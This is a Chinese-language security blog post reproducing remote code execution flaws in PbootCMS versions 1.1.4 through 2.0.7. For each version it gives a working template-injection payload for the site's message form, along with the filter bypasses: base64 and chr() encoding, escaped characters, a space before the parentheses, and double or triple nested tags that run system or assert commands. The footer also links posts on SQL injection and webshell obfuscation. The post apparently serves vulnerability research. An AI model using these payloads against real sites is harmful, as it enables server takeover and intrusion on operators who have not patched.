pbootcms漏洞复现


pbootcms漏洞复现


pbootcms1.1.4(1.1.5及以下版本)任意代码执行漏洞

这段函数采用了两次正则匹配的过滤方式,第一次正则需要构造形如{pboot:if(payload)}{/pboot:if}这样的字符串。

第二次正则需要payload中不能出现字母+()这样形式的函数,直接使用形如phpinfo(1)的payload即可。

而后带入eval函数执行,且$content变量可控

poc:{pboot:if(phpinfo(1))}{/pboot:if}

在网站前台留言处

后台管理开启显示留言。执行成功。

PbootCMS (v1.1.6-v1.1.8)

代码中加入黑名单机制,但是未过滤反引号。

在线留言处插入payload:{pboot:if(var_dump(whoami))}{/pboot:if}

执行成功

同样base64_decode函数依然可用。所以可插入payload {pboot:if(1);$a=base64_decode(c3lzdGVt);$a(whoami);//)}{/pboot:if}

!

PbootCMS(v1.1.9-v1.3.2)

改为白名单机制检测,需要绕过function_exists的检测。

绕过方法如下

插入如下payload: {pboot:if(syste\m(whoami));//)}{/pboot:if}

PbootCMS(v1.3.3-v2.0.2)

禁止了外部数据的获取,白名单处的正则匹配不严谨,导致函数名+空格+()可以实现绕过

payload: {pboot:if(system (whoami))}{/pboot:if}

在线留言处插入payload

PbootCMS(v2.0.3)

增加了外部获取数据过滤部分,并不影响使用system函数,提交上一个版本payload,发现pboot:if被删掉了。

发现在apps/home/controller/IndexController.php里第270行将pboot:if替换为空

这里可用双写绕过 {pbopboot:ifot:if(system (whoami))}{/pbpboot:ifoot:if}

插入后变成

PbootCMS(v2.0.4-v2.0.7)

双写被过滤,发现多过滤了一次pboot:if,可用三重写绕过。

但正则匹配加强,过滤了system等函数。

但漏掉assert函数,所以构造payload {ppbopboot:ifot:ifboot:if(assert (chr (115).chr (121).chr (115).chr (116).chr (101).chr (109).chr (40).chr (119).chr (104).chr (111). chr (97).chr (109).chr (105).chr (41)))}{/pbpbopboot:ifot:ifoot:if}


文章作者: Danie1
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Danie1 !
 上一篇
emlog 6.0.0审计 emlog 6.0.0审计
emlog 6.0.0审计 后台删除评论sql注入admin/comment.php 当action为delbyip时,判断token,并且GET传入的ip地址未经过滤带入delcommentbyip方法。跟踪该方法。定义在include
2020-08-29
下一篇 
PHP一句话变形 PHP一句话变形
PHP一句话变形 常见的过WAF姿势 拆分与变形 assert=’a’.’s’.’s’.’e’.’r’.’t’ assert=strrev(tressa) assert=$array[0][‘wind’] $item[‘wind’]=’as
2020-07-31
  目录